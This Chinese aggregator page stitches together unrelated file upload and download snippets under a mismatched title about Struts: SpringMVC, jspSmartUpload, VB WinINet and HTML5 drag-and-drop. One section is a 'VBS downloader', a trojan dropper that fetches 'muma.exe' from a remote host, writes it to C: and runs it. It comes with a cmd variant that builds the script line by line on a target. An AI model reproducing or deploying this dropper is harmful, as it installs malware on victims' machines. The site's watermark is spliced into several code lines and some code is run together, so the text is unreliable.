61阅读

struts实现文件下载-SpringMVC中ajaxfileupload实现ajax上传文件

发布时间:2017-10-08 所属栏目:ajaxfileupload

一 : SpringMVC中ajaxfileupload实现ajax上传文件

页面代码:

<html>
<!-- 引入相关的js文件,相对路径-->
<script type="text/javascript"src="js/jquery.js"></script>
<script type="text/javascript"src="js/ajaxfileupload.js"></script>

<!-- 执行上传文件操作的函数 -->
<script type="text/javascript">
functionajaxFileUpload(){
$.ajaxFileUpload(
{
url:'update.do?method=uploader',//需要链接到服务器地址
secureuri:false,
fileElementId:'houseMaps',//文件选择框的id属性
dataType:'json',//服务器返回的格式,可以是json, xml
success: function (data,status)//相当于java中try语句块的用法
{
$('#result').html('添加成功');
},
error: function (data, status,e)//相当于java中catch语句块的用法
{
$('#result').html('添加失败');
}
}

);

}
</script>
</head>

<body>
<div>
<input type="file" id="houseMaps"name="houseMaps"/>
<input type="button" value="提交"onclick="ajaxFileUpload()"/>
</div>
<divid="result"></div>

</body>
</html>

java代码 :

@RequestMapping(method=RequestMethod.POST,value="/imgupload")

public@ResponseBody String uploadImg(HttpServletRequest request,@RequestParam("imgFile") MultipartFile imgFile){

String uploadDir= request.getRealPath("/upload");

File dirPath = newFile(uploadDir);

if (!dirPath.exists()) {

dirPath.mkdirs();

}

String uuid =UuidUtil.getUUID();

String oriName =imgFile.getOriginalFilename();

//文件名后缀处理---start---

String _suffix =oriName.substring(oriName.lastIndexOf(".")+1,oriName.length());

//-----end---

//---重新处理文件名start---

String suffix =oriName.substring(oriName.lastIndexOf("."),oriName.length());

StringnewFileName = uuid + suffix;

try {

imgFile.transferTo(new File(uploadDir + "/"+ newFileName));

} catch(IllegalStateException e) {

// TODOAuto-generated catch block

e.printStackTrace();

} catch(IOException e) {

// TODOAuto-generated catch block

e.printStackTrace();

}

//---end---

File file = newFile(uploadDir + "/" + newFileName);

String fileUrl =FtpUtil.ftp2NFS(file, "image", newFileName, "test", "image","42");

dirPath.delete();

JSONObject object = newJSONObject();

if("error".equals(fileUrl)){

object.put("success","false");

}else{

object.put("success","true");

object.put("filePath",PropUtil.getImagePath() + fileUrl);

}

returnJSONObject.fromObject(object).toString();

}

二 : VBS下载者(通过vbscript实现文件下载)

一、VBS下载者:

代码如下:

Set Post = CreateObject("Msxml2.XMLHTTP")

Set Shell = CreateObject("Wscript.Shell")

Post.Open "GET","http://www.jbzj.com/muma.exe",0

Post.Send()

Set aGet = CreateObject("ADODB.Stream")

aGet.Mode = 3

aGet.Type = 1

aGet.Open()

aGet.Write(Post.responseBody)

aGet.SaveToFile "c:\zl.exe",2

wscript.sleep 1000

Shell.Run ("c:\zl.exe") '延迟过后执行下载文件

二、cmd下执行的版本:

代码如下:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs

echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs

echo Post.Open "GET","http://www[www.61k.com).jbzj.com/muma.exe",0 >>zl.vbs

echo Post.Send() >>zl.vbs

echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs

echo aGet.Mode = 3 >>zl.vbs

echo aGet.Type = 1 >>zl.vbs

echo aGet.Open() >>zl.vbs

echo aGet.Write(Post.responseBody) >>zl.vbs

echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs

echo wscript.sleep 1000 >>zl.vbs

echo Shell.Run ("c:\zl.exe") >>zl.vbs

三、wget.vbs

代码如下:

on error resume next

iLocal=LCase(Wscript.Arguments(1))

iRemote=LCase(Wscript.Arguments(0))

iUser=LCase(Wscript.Arguments(2))

iPass=LCase(Wscript.Arguments(3))

set xPost=CreateObject("Microsoft.XMLHTTP")

if iUser="" and iPass="" then

xPost.Open "GET",iRemote,0

else

xPost.Open "GET",iRemote,0,iUser,iPass

end if

xPost.Send()

set sGet=CreateObject("ADODB.Stream")

sGet.Mode=3

sGet.Type=1

sGet.Open()

sGet.Write xPost.ResponseBody

sGet.SaveToFile iLocal,2

使用方法:cscript wget.vbs http://www.jbzj.com/muma.exe

三 : VBWininet实现文件下载与网页获取函数

'Form'写入文件Private Sub WriteFile(ByteArray() As Byte, Path AsString) Open Path For Binary As#1 Put #1, ,ByteArray() Close #1End Sub
'网页编码转换Public Function BytesToBstr(Bytes, Optional Charset AsString) Dim objstream AsObject Set objstream =CreateObject("ADODB.Stream") With objstream .Type = 1 .Mode = 3 .Open .Write Bytes .Position = 0 .Type = 2 .Charset = Charset BytesToBstr = .ReadText .Close End WithEnd Function
Private Sub Command1_Click() '下载文件 CallWriteFile(HttpDownload("http://www.baidu.com/img/baidu_jgylogo3.gif"),"c:\123.gif") '获取网页源码 Debug.PrintBytesToBstr(HttpDownload("http://www.soso.com/"), "GB2312")End Sub

'Mode--------------------------Private Const INTERNET_OPEN_TYPE_PRECONFIG = 0Private Const INTERNET_OPEN_TYPE_DIRECT = 1Private Const INTERNET_OPEN_TYPE_PROXY = 3Private Const scUserAgent = "Microsoft Internet Explorer6.0"Private Const INTERNET_FLAG_RELOAD = &H80000000Private Declare Function InternetOpen Lib "wininet.dll" Alias"InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long,ByVal sProxyName As String, ByVal sProxyBypass As String, ByVallFlags As Long) As LongPrivate Declare Function InternetOpenUrl Lib "wininet.dll"Alias "InternetOpenUrlA" (ByVal hOpen As Long, ByVal sUrl AsString, ByVal sHeaders As String, ByVal lLength As Long, ByVallFlags As Long, ByVal lContext As Long) As LongPrivate Declare Function InternetReadFileByte Lib"wininet.dll" Alias "InternetReadFile" (ByVal hFile As Long, ByRefsBuffer As Byte, ByVal lNumBytesToRead As Long, lNumberOfBytesReadAs Long) As IntegerPrivate Declare Function InternetCloseHandle Lib "wininet.dll"(ByVal hInet As Long) As IntegerPrivate Declare Function HttpQueryInfo Lib "wininet.dll" Alias"HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel AsLong, ByVal sBuffer As Any, ByRef lBufferLength As Long, ByReflIndex As Long) As IntegerConst HTTP_QUERY_CONTENT_LENGTH = 5Const HTTP_QUERY_FLAG_NUMBER = &H20000000Private Declare(www.61k.com] Function InternetReadFile Lib "wininet.dll"(ByVal hFile As Long, ByVal sBuffer As String, ByVallNumBytesToRead As Long, lNumberOfBytesRead As Long) AsIntegerPublic Declare Sub CopyMemory Lib "kernel32" Alias"RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length AsLong)Private Function IsNullBytes(ByRef sBytes() As Byte) AsBoolean On Error ResumeNext Dim N As Long N =UBound(sBytes()) If Err Then IsNullBytes = True End IfEnd FunctionPublic Function HttpDownload(ByVal sUrl As String, OptionalByVal lNewBufferSize As Long = -1) As Byte() Dim bBuffer() AsByte Dim lBufferSize AsLong Dim retBytes() AsByte Dim hOpen As Long Dim hOpenUrl AsLong Dim hQuery As Long Dim lFileSize AsLong Dim sQuery AsString Dim i As Long Dim lBufferNumber AsLong Dim lRealFileLen AsLong Dim bDoLoop AsBoolean Dim lNumberOfBytesReadAs Long Dim BSize As Long On Error GoToFindErr If lNewBufferSize = -1Then lBufferSize = 2048 Else lBufferSize = lNewBufferSize If lBufferSize < 1024 Then lBufferSize =1024 End If ReDimbBuffer(lBufferSize - 1) As Byte hOpen =InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_PRECONFIG,vbNullString, vbNullString, 0) hOpenUrl =InternetOpenUrl(hOpen, sUrl, vbNullString, 0, INTERNET_FLAG_RELOAD,0) sQuery = String$(1024, "") hQuery =HttpQueryInfo(hOpenUrl, HTTP_QUERY_CONTENT_LENGTH, ByVal sQuery,Len(sQuery), 0) If hQuery Then lFileSize = CLng(Trim(sQuery)) Else lFileSize = -1 End If If lFileSize <> -1Then bDoLoop = True lBufferNumber = Fix(lFileSize /lBufferSize) If lFileSize Mod lBufferSize <> 0 ThenlBufferNumber = lBufferNumber + 1 lRealFileLen = 0 For i = 1 To lBufferNumber If i <lBufferNumber Then bDoLoop =InternetReadFileByte(hOpenUrl, bBuffer(0), lBufferSize,lNumberOfBytesRead) Else lBufferSize = lFileSize -lBufferSize * (i - 1) ReDim bBuffer(lBufferSize -1) As Byte bDoLoop =InternetReadFileByte(hOpenUrl, bBuffer(0), lBufferSize,lNumberOfBytesRead) EndIf IfIsNullBytes(retBytes) Then ReDimretBytes(UBound(bBuffer)) retBytes = bBuffer Else BSize =UBound(retBytes) ReDim Preserve retBytes(BSize+ UBound(bBuffer) + 1) CallCopyMemory(retBytes(BSize + 1), bBuffer(0), UBound(bBuffer) +1) EndIf lRealFileLen = lRealFileLen + lNumberOfBytesRead If NotCBool(lNumberOfBytesRead) Then Exit For Next i Else i = 0 Do i = i +1 bDoLoop =InternetReadFileByte(hOpenUrl, bBuffer(0), lBufferSize,lNumberOfBytesRead) IflBufferSize <> lNumberOfBytesRead Then If lNumberOfBytesRead = 0 OrbDoLoop = 0 Then Exit Do Else lBufferSize = lNumberOfBytesRead ReDim Preserve bBuffer(lBufferSize - 1) AsByte End If EndIf IfIsNullBytes(retBytes) Then ReDimretBytes(UBound(bBuffer)) retBytes = bBuffer Else BSize =UBound(retBytes) ReDim Preserve retBytes(BSize+ UBound(bBuffer) + 1) CallCopyMemory(retBytes(BSize + 1), bBuffer(0), UBound(bBuffer) +1) EndIf lRealFileLen = lRealFileLen + lNumberOfBytesRead Loop End If If hOpenUrl <> 0Then InternetCloseHandle (hOpenUrl) If hOpen <> 0 ThenInternetCloseHandle (hOpen) HttpDownload =retBytes Exit FunctionFindErr: HttpDownload =VBA.vbNullCharEnd Function

四 : jspsmart实现文件上传下载及jspSmartUpload.jar下载

使用之前需要自己下载jspSmartUpload.jar包

把压缩包里面的jar拷贝到工程的lib

上传

// 新建一个SmartUpload对象
SmartUpload su= new SmartUpload();
//上传初始化
su.initialize(pageContext);
//限制每个上传文件的最大长度。
su.setMaxFileSize(10000);
//限制总上传数据的长度。
su.setTotalMaxFileSize(20000);
// 设定允许上传的文件(通过扩展名限制),仅允许doc,txt文件。
su.setAllowedFilesList("doc,txt");
//设定禁止上传的文件(通过扩展名限制),禁止上传带有exe,bat,
//jsp,htm,html扩展名的文件和没有扩展名的文件。
su.setDeniedFilesList("exe,bat,jsp,htm,html,,");
// 上传文件
su.upload();
//将上传文件全部保存到指定目录
int count = su.save("/upload");


下载

//新建一个SmartUpload对象
SmartUpload su= new SmartUpload();
//初始化
su.initialize(pageContext);
//设定contentDisposition为null以禁止浏览器自动打开文件,
//文保证点击链接后是下载文件。若不设定,则下载的件扩展名为
//doc时,浏览器将自动用word打开它。扩展名为pdf时,
//浏览器将用acrobat打开。
su.setContentDisposition(null);
//下载文件
su.downloadFile("/upload/test.doc");

*************************************************************************************************
应用实例:
用户只能上传图片格式的文件实例


uploadimage.jsp
<%@ pagecontentType="text/html;charset=gb2312" language="java"import="java.io.*,java.awt.Image,java.awt.image.*,com.sun.image.codec.jpeg.*,java.sql.*,com.jspsmart.upload.*,java.util.*"%>
<%
SmartUpload mySmartUpload =new SmartUpload();
long file_size_max=4000000;
String fileName2="",ext="",testvar="";
String url="upload/";

//初始化
mySmartUpload.initialize(pageContext);
//只允许上载此类文件
try{
mySmartUpload.setAllowedFilesList("jpg,gif");//上载文件
mySmartUpload.upload();
} catch (Exception e){
%>
<SCRIPTlanguage=javascript>
alert("只允许上传.jpg和.gif类型图片文件");
window.location='upload.htm';
</script>
<%
}
try{

com.jspsmart.upload.File myFile =mySmartUpload.getFiles().getFile(0);
if (myFile.isMissing()){%>
<SCRIPTlanguage=javascript>
alert("请先选择要上传的文件");
window.location='upload.htm';
</script>
<%}
else{
//String myFileName=myFile.getFileName(); //取得上载的文件的文件名
ext= myFile.getFileExt();//取得后缀名
int file_size=myFile.getSize();//取得文件的大小
String saveurl="";
if(file_size<file_size_max){
//更改文件名,取得当前上传时间的毫秒数值
Calendar calendar =Calendar.getInstance();
String filename =String.valueOf(calendar.getTimeInMillis());
saveurl=application.getRealPath("/")+url;
saveurl+=filename+"."+ext; //保存路径
myFile.saveAs(saveurl,SmartUpload.SAVE_PHYSICAL);
out.print(saveurl);

String ret = "parent.HtmlEdit.focus();";
ret += "var range =parent.HtmlEdit.document.selection.createRange();" ;
ret += "range.pasteHTML('<img src=\"" +request.getContextPath() + "/upload/" + filename + "." + ext +"\">');" ;
ret += "alert('上传成功!');";
ret += "window.location='upload.htm';";
out.print("<scriptlanguage=javascript>" + ret +"</script>");

}
}
}catch (Exception e){
out.print(e.toString());
}
%>




upload.htm

<html>
<head>
<title>请选择上传的图片</title>
</head>
<body>
<table border="0" align="center" cellpadding="0"cellspacing="0">
<tr>
<td height="45" align="center"valign="middle"><formaction="uploadimage.jsp" method="post"enctype="multipart/form-data"name="form1">
<input type="file"name="file">
<input type="submit" name="Submit"value="上传">
</form></td>
</tr>
</table>
</body>
</html>

五 : HTML5文件实现拖拽上传

通过HTML的文件API ,Firefox、Chrome等浏览器已经支持从操作系统直接拖拽文件,并上传到服务器。

相对于使用了十多年的HTML表单,这是一个革命性的进步。虽然IE的落后让很多开发者还在观望中,但是Gmail邮箱的附件拖拽功能已经给部分用户带来了极大的方便,而需要大量上传文件的CMS(内容管理系统)也将会从中受益。

让我们看一下Firefox 是如何使用拖拽上传功能的:

首先提供一个区域来放置文件

Html代码

<div name="image" id="dropbox" style="min-width:300px;min-height:100px;border:3px dashed silver;"></div> 

然后监听拖拽过程中的dragenter、dragleave、drop等事件

Js代码

document.addEventListener("dragenter", function(e){ 
    dropbox.style.borderColor = 'gray'; 
}, false); 
document.addEventListener("dragleave", function(e){ 
    dropbox.style.borderColor = 'silver'; 
}, false); 
dropbox.addEventListener("dragenter", function(e){ 
    dropbox.style.borderColor = 'gray'; 
    dropbox.style.backgroundColor = 'white'; 
}, false); 
dropbox.addEventListener("dragleave", function(e){ 
    dropbox.style.backgroundColor = 'transparent'; 
}, false); 
dropbox.addEventListener("dragenter", function(e){ 
    e.stopPropagation(); 
    e.preventDefault(); 
}, false); 
dropbox.addEventListener("dragover", function(e){ 
    e.stopPropagation(); 
    e.preventDefault(); 
}, false); 
dropbox.addEventListener("drop", function(e){ 
    e.stopPropagation(); 
    e.preventDefault(); 
     
    handleFiles(e.dataTransfer.files); 
     
    submit.disabled = false; 
}, false); 

其中最主要的是drop事件中用handleFiles()依次处理所有文件

Js代码

handleFiles = function(files) { 
    for (var i = 0; i < files.length; i++) { 
        var file = files[i]; 
 
    } 

对于图片类型的文件可以直接读取内容,显示预览图

Js代码

if (!file.type.match(/image*/)) { 
    continue; 

 
var img = document.createElement("img"); 
img.classList.add("obj"); 
img.file = file; 
preview.appendChild(img); 
 
var reader = new FileReader(); 
reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img); 
reader.readAsDataURL(file); 

接下来就是核心功能:ajax上传。首先新建一个XHR请求

Js代码

var xhr = new XMLHttpRequest(); 
xhr.open('post', '/file/upload', true); 

监听上传进度和完成事件

Js代码

xhr.upload.addEventListener("progress", function(e) { 
    if (e.lengthComputable) { 
        var percentage = Math.round((e.loaded * 100) / e.total); 
        img.style.opacity = 1-percentage/100.0; 
    } 
}, false); 
 
xhr.upload.addEventListener("load", function(e){ 
     
}, false); 

最后把数据模拟成multipart/form-data的格式上传

Js代码

xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); // simulate a file MIME POST request. 
xhr.setRequestHeader("Content-Length", fileSize); 
 
var body = ''; 
body += "--" + boundary + "rn"; 
body += "Content-Disposition: form-data; name=""+dropbox.getAttribute('name')+""; filename="" + fileName + ""rn"; 
body += "Content-Type: "+fileType+"rnrn"; 
body += fileData + "rn"; 
body += "--" + boundary + "--rn"; 
 
xhr.sendAsBinary(body); 

原文地址:

本文标题:struts实现文件下载-SpringMVC中ajaxfileupload实现ajax上传文件
本文地址: http://www.61k.com/1072249.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1